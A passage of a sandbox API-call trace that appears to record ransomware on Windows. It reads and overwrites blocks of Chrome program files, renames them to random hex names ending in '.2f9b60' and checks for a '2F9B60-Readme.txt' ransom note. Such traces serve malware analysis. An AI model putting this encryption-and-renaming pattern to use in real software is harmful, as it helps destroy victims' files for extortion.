lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.407] WriteFile (in: hFile=0x7cc, lpBuffer=0x43100a80*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e2bfb90, lpOverlapped=0x0 | out: lpBuffer=0x43100a80*, lpNumberOfBytesWritten=0x2e2bfb90*=0x10e, lpOverlapped=0x0) returned 1 [0207.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9c50 [0207.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9c50) returned 1 [0207.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cdd9c50 [0207.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9c20 [0207.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9b60 [0207.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9b60) returned 1 [0207.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1b82c260 [0207.148] sprintf (in: _Dest=0x1b82c260, _Format="%c%c" | out: _Dest="5d") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c262, _Format="%c%c" | out: _Dest="7e") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c264, _Format="%c%c" | out: _Dest="42") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c266, _Format="%c%c" | out: _Dest="1a") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c268, _Format="%c%c" | out: _Dest="52") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c26a, _Format="%c%c" | out: _Dest="ef") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c26c, _Format="%c%c" | out: _Dest="6c") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c26e, _Format="%c%c" | out: _Dest="bd") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c270, _Format="%c%c" | out: _Dest="b0") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c272, _Format="%c%c" | out: _Dest="fb") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c274, _Format="%c%c" | out: _Dest="2b") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c276, _Format="%c%c" | out: _Dest="db") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c278, _Format="%c%c" | out: _Dest="53") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c27a, _Format="%c%c" | out: _Dest="d7") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c27c, _Format="%c%c" | out: _Dest="0d") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c27e, _Format="%c%c" | out: _Dest="c0") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c280, _Format="%c%c" | out: _Dest="89") returned 2 [0207.148] sprintf (in: _Dest=0x1b82c282, _Format="%c%c" | out: _Dest="51") returned 2 [0207.149] sprintf (in: _Dest=0x1b82c284, _Format="%c%c" | out: _Dest="c0") returned 2 [0207.149] sprintf (in: _Dest=0x1b82c286, _Format="%c%c" | out: _Dest="9f") returned 2 [0207.149] sprintf (in: _Dest=0x1b82c288, _Format="%c%c" | out: _Dest="5b") returned 2 [0207.149] sprintf (in: _Dest=0x1b82c28a, _Format="%c%c" | out: _Dest="27") returned 2 [0207.149] sprintf (in: _Dest=0x1b82c28c, _Format="%c%c" | out: _Dest="dd") returned 2 [0207.149] sprintf (in: _Dest=0x1b82c28e, _Format="%c%c" | out: _Dest="18") returned 2 [0207.149] sprintf (in: _Dest=0x1b82c290, _Format="%c%c" | out: _Dest="dc") returned 2 [0207.149] sprintf (in: _Dest=0x1b82c292, _Format="%c%c" | out: _Dest="d3") returned 2 [0207.149] sprintf (in: _Dest=0x1b82c294, _Format="%c%c" | out: _Dest="02") returned 2 [0207.149] sprintf (in: _Dest=0x1b82c296, _Format="%c%c" | out: _Dest="61") returned 2 [0207.149] RtlInitAnsiString (in: DestinationString=0x2e2bfc08, SourceString="5d7e421a52ef6cbdb0fb2bdb53d70dc08951c09f5b27dd18dcd30261" | out: DestinationString="5d7e421a52ef6cbdb0fb2bdb53d70dc08951c09f5b27dd18dcd30261") [0207.149] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e2bfbd8, SourceString="5d7e421a52ef6cbdb0fb2bdb53d70dc08951c09f5b27dd18dcd30261", AllocateDestinationString=1 | out: DestinationString="5d7e421a52ef6cbdb0fb2bdb53d70dc08951c09f5b27dd18dcd30261") returned 0x0 [0207.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85e710 [0207.150] wcscat (in: _Dest=0x43128ea0, _Source="5d7e421a52ef6c" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\5d7e421a52ef6c") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\5d7e421a52ef6c" [0207.150] wcscat (in: _Dest=0x43128ea0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\5d7e421a52ef6c.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\5d7e421a52ef6c.2f9b60" [0207.150] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\5d7e421a52ef6c.2f9b60", NtPathName=0x2e2bfbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\5d7e421a52ef6c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x430fc720 [0219.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fc720) returned 1 [0219.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43168b80) returned 1 [0219.527] NtQueryInformationFile (in: FileHandle=0x7cc, IoStatusBlock=0x2e2bfc18, FileInformation=0x2e2bfc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e2bfc18, FileInformation=0x2e2bfc28) returned 0x0 [0219.527] NtSetInformationFile (FileHandle=0x7cc, IoStatusBlock=0x2e2bfc18, FileInformation=0x2e2bfc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43128ea0) returned 1 [0222.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0222.537] FlushFileBuffers (hFile=0x7cc) returned 1 [0222.593] CloseHandle (hObject=0x7cc) returned 1 [0224.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x431f3b10 [0224.446] wcscpy (in: _Dest=0x431f3b10, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0224.446] wcscat (in: _Dest=0x431f3b10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" [0224.446] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\2f9b60-readme.txt")) returned 0x20 [0226.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f3b10) returned 1 [0226.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adb80) returned 1 Thread: id = 2500 os_tid = 0x1f84 [0154.522] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_100_percent.pak")) returned 0x20 [0154.522] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak", dwFileAttributes=0x20) returned 1 [0154.523] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_100_percent.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x7c8 [0154.523] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0x2e37fcc0 | out: lpFileSize=0x2e37fcc0*=455756) returned 1 [0154.523] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x6f448, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.523] ReadFile (in: hFile=0x7c8, lpBuffer=0x2e37fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e37fc88, lpOverlapped=0x0 | out: lpBuffer=0x2e37fc40*, lpNumberOfBytesRead=0x2e37fc88*=0x4, lpOverlapped=0x0) returned 1 [0154.631] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9bf0 [0154.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9c80 [0154.631] NtQuerySystemTime (in: CurrentTime=0x2e37fb80 | out: CurrentTime=0x2e37fb80*=132462177597670000) returned 0x0 [0154.631] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x1648f3b8 [0154.631] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x6c64c9ed [0154.631] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x21660edb [0154.631] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x3e1753e1 [0154.631] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x494a27ea [0154.631] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x5ed629d3 [0154.631] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x5bf1b7b6 [0154.631] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x5dec873c [0154.631] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x70cf3f8 [0154.631] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x22785da5 [0154.631] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x4c9b31d2 [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x40efb8a1 [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x66176732 [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x287a1c36 [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x7fd0ebad [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x742ee5f4 [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x711ae24b [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x2a9b57df [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x7024df41 [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x3f186861 [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x6b3d4f11 [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x6cb557e1 [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x45fc05cf [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x54f10ee0 [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x113d210 [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x7e78bfb0 [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x339904be [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x257dbc8e [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x5558041d [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x3ce71d0f [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x22cab4dd [0154.632] RtlRandomEx (in: Seed=0x2e37fb70 | out: Seed=0x2e37fb70) returned 0x5a878901 [0154.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9cb0 [0154.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c840 [0154.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ce0 [0154.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c840) returned 1 [0154.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9c80) returned 1 [0154.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428309e0 [0154.645] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.645] ReadFile (in: hFile=0x7c8, lpBuffer=0x428309e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2e37fbe0, lpOverlapped=0x0 | out: lpBuffer=0x428309e0*, lpNumberOfBytesRead=0x2e37fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0154.724] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1fc0 [0154.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9da0 [0154.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9da0) returned 1 [0154.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42847240 [0154.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9da0 [0154.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e30 [0154.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9e30) returned 1 [0154.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0154.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1fc0) returned 1 [0154.726] WriteFile (hFile=0x7c8, lpBuffer=0x42847240, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2e37fbe0, lpOverlapped=0x0) [0186.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42847240) returned 1 [0186.750] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x38400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.750] ReadFile (in: hFile=0x7c8, lpBuffer=0x428309e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2e37fbe0, lpOverlapped=0x0 | out: lpBuffer=0x428309e0*, lpNumberOfBytesRead=0x2e37fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.727] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x38400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139310 [0190.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139310) returned 1 [0190.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42f95d20 [0190.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139310 [0190.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139340 [0190.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139340) returned 1 [0190.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.731] WriteFile (in: hFile=0x7c8, lpBuffer=0x42f95d20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2e37fbe0, lpOverlapped=0x0 | out: lpBuffer=0x42f95d20*, lpNumberOfBytesWritten=0x2e37fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f95d20) returned 1 [0205.588] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x6b84c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.588] ReadFile (in: hFile=0x7c8, lpBuffer=0x428309e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2e37fbe0, lpOverlapped=0x0 | out: lpBuffer=0x428309e0*, lpNumberOfBytesRead=0x2e37fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.589] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x6b84c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb600 [0205.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb600) returned 1 [0205.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42f95d20 [0205.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb600 [0205.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb720 [0205.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb720) returned 1 [0205.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.594] WriteFile (in: hFile=0x7c8, lpBuffer=0x42f95d20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2e37fbe0, lpOverlapped=0x0 | out: lpBuffer=0x42f95d20*, lpNumberOfBytesWritten=0x2e37fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f95d20) returned 1 [0214.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105360 [0214.998] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.998] WriteFile (in: hFile=0x7c8, lpBuffer=0x1ceb9a20*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e37fc90, lpOverlapped=0x0 | out: lpBuffer=0x1ceb9a20*, lpNumberOfBytesWritten=0x2e37fc90*=0x15e, lpOverlapped=0x0) returned 1 [0218.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62870 [0218.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc860 [0218.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc860) returned 1 [0218.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431adb20 [0218.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc860 [0218.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc830 [0218.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc830) returned 1 [0218.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62870) returned 1 [0218.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x43105280 [0218.928] sprintf (in: _Dest=0x43105280, _Format="%c%c" | out: _Dest="ef") returned 2 [0218.928] sprintf (in: _Dest=0x43105282, _Format="%c%c" | out: _Dest="0d") returned 2 [0218.928] sprintf (in: _Dest=0x43105284, _Format="%c%c" | out: _Dest="a9") returned 2 [0218.928] sprintf (in: _Dest=0x43105286, _Format="%c%c" | out: _Dest="51") returned 2 [0218.928] sprintf (in: _Dest=0x43105288, _Format="%c%c" | out: _Dest="29") returned 2 [0218.928] sprintf (in: _Dest=0x4310528a, _Format="%c%c" | out: _Dest="68") returned 2 [0218.928] sprintf (in: _Dest=0x4310528c, _Format="%c%c" | out: _Dest="13") returned 2 [0218.928] sprintf (in: _Dest=0x4310528e, _Format="%c%c" | out: _Dest="d0") returned 2 [0218.928] sprintf (in: _Dest=0x43105290, _Format="%c%c" | out: _Dest="75") returned 2 [0218.928] sprintf (in: _Dest=0x43105292, _Format="%c%c" | out: _Dest="48") returned 2 [0218.928] sprintf (in: _Dest=0x43105294, _Format="%c%c" | out: _Dest="00") returned 2 [0218.928] sprintf (in: _Dest=0x43105296, _Format="%c%c" | out: _Dest="68") returned 2 [0218.928] sprintf (in: _Dest=0x43105298, _Format="%c%c" | out: _Dest="a9") returned 2 [0218.928] sprintf (in: _Dest=0x4310529a, _Format="%c%c" | out: _Dest="6e") returned 2 [0218.928] sprintf (in: _Dest=0x4310529c, _Format="%c%c" | out: _Dest="24") returned 2 [0218.928] sprintf (in: _Dest=0x4310529e, _Format="%c%c" | out: _Dest="14") returned 2 [0218.928] sprintf (in: _Dest=0x431052a0, _Format="%c%c" | out: _Dest="a2") returned 2 [0218.928] sprintf (in: _Dest=0x431052a2, _Format="%c%c" | out: _Dest="f5") returned 2 [0218.928] sprintf (in: _Dest=0x431052a4, _Format="%c%c" | out: _Dest="24") returned 2 [0218.928] sprintf (in: _Dest=0x431052a6, _Format="%c%c" | out: _Dest="5a") returned 2 [0218.928] sprintf (in: _Dest=0x431052a8, _Format="%c%c" | out: _Dest="eb") returned 2 [0218.928] sprintf (in: _Dest=0x431052aa, _Format="%c%c" | out: _Dest="f9") returned 2 [0218.928] sprintf (in: _Dest=0x431052ac, _Format="%c%c" | out: _Dest="b7") returned 2 [0218.928] sprintf (in: _Dest=0x431052ae, _Format="%c%c" | out: _Dest="18") returned 2 [0218.928] sprintf (in: _Dest=0x431052b0, _Format="%c%c" | out: _Dest="f6") returned 2 [0218.929] sprintf (in: _Dest=0x431052b2, _Format="%c%c" | out: _Dest="c1") returned 2 [0218.929] sprintf (in: _Dest=0x431052b4, _Format="%c%c" | out: _Dest="38") returned 2 [0218.929] sprintf (in: _Dest=0x431052b6, _Format="%c%c" | out: _Dest="a3") returned 2 [0218.929] sprintf (in: _Dest=0x431052b8, _Format="%c%c" | out: _Dest="06") returned 2 [0218.929] sprintf (in: _Dest=0x431052ba, _Format="%c%c" | out: _Dest="57") returned 2 [0218.929] sprintf (in: _Dest=0x431052bc, _Format="%c%c" | out: _Dest="75") returned 2 [0218.929] sprintf (in: _Dest=0x431052be, _Format="%c%c" | out: _Dest="7d") returned 2 [0218.929] sprintf (in: _Dest=0x431052c0, _Format="%c%c" | out: _Dest="2e") returned 2 [0218.929] sprintf (in: _Dest=0x431052c2, _Format="%c%c" | out: _Dest="7b") returned 2 [0218.929] sprintf (in: _Dest=0x431052c4, _Format="%c%c" | out: _Dest="d0") returned 2 [0218.929] sprintf (in: _Dest=0x431052c6, _Format="%c%c" | out: _Dest="02") returned 2 [0218.929] sprintf (in: _Dest=0x431052c8, _Format="%c%c" | out: _Dest="a6") returned 2 [0218.929] sprintf (in: _Dest=0x431052ca, _Format="%c%c" | out: _Dest="41") returned 2 [0218.929] sprintf (in: _Dest=0x431052cc, _Format="%c%c" | out: _Dest="f3") returned 2 [0218.929] sprintf (in: _Dest=0x431052ce, _Format="%c%c" | out: _Dest="c2") returned 2 [0218.929] sprintf (in: _Dest=0x431052d0, _Format="%c%c" | out: _Dest="52") returned 2 [0218.929] sprintf (in: _Dest=0x431052d2, _Format="%c%c" | out: _Dest="99") returned 2 [0218.929] sprintf (in: _Dest=0x431052d4, _Format="%c%c" | out: _Dest="fc") returned 2 [0218.929] sprintf (in: _Dest=0x431052d6, _Format="%c%c" | out: _Dest="15") returned 2 [0218.929] RtlInitAnsiString (in: DestinationString=0x2e37fd08, SourceString="ef0da951296813d075480068a96e2414a2f5245aebf9b718f6c138a30657757d2e7bd002a641f3c25299fc15" | out: DestinationString="ef0da951296813d075480068a96e2414a2f5245aebf9b718f6c138a30657757d2e7bd002a641f3c25299fc15") [0218.929] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e37fcd8, SourceString="ef0da951296813d075480068a96e2414a2f5245aebf9b718f6c138a30657757d2e7bd002a641f3c25299fc15", AllocateDestinationString=1 | out: DestinationString="ef0da951296813d075480068a96e2414a2f5245aebf9b718f6c138a30657757d2e7bd002a641f3c25299fc15") returned 0x0 [0218.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x431108a0 [0218.930] wcscat (in: _Dest=0x4310c720, _Source="ef0da951296813d0754800" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\ef0da951296813d0754800") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\ef0da951296813d0754800" [0218.930] wcscat (in: _Dest=0x4310c720, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\ef0da951296813d0754800.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\ef0da951296813d0754800.2f9b60" [0218.930] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\ef0da951296813d0754800.2f9b60", NtPathName=0x2e37fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\ef0da951296813d0754800.2f9b60", 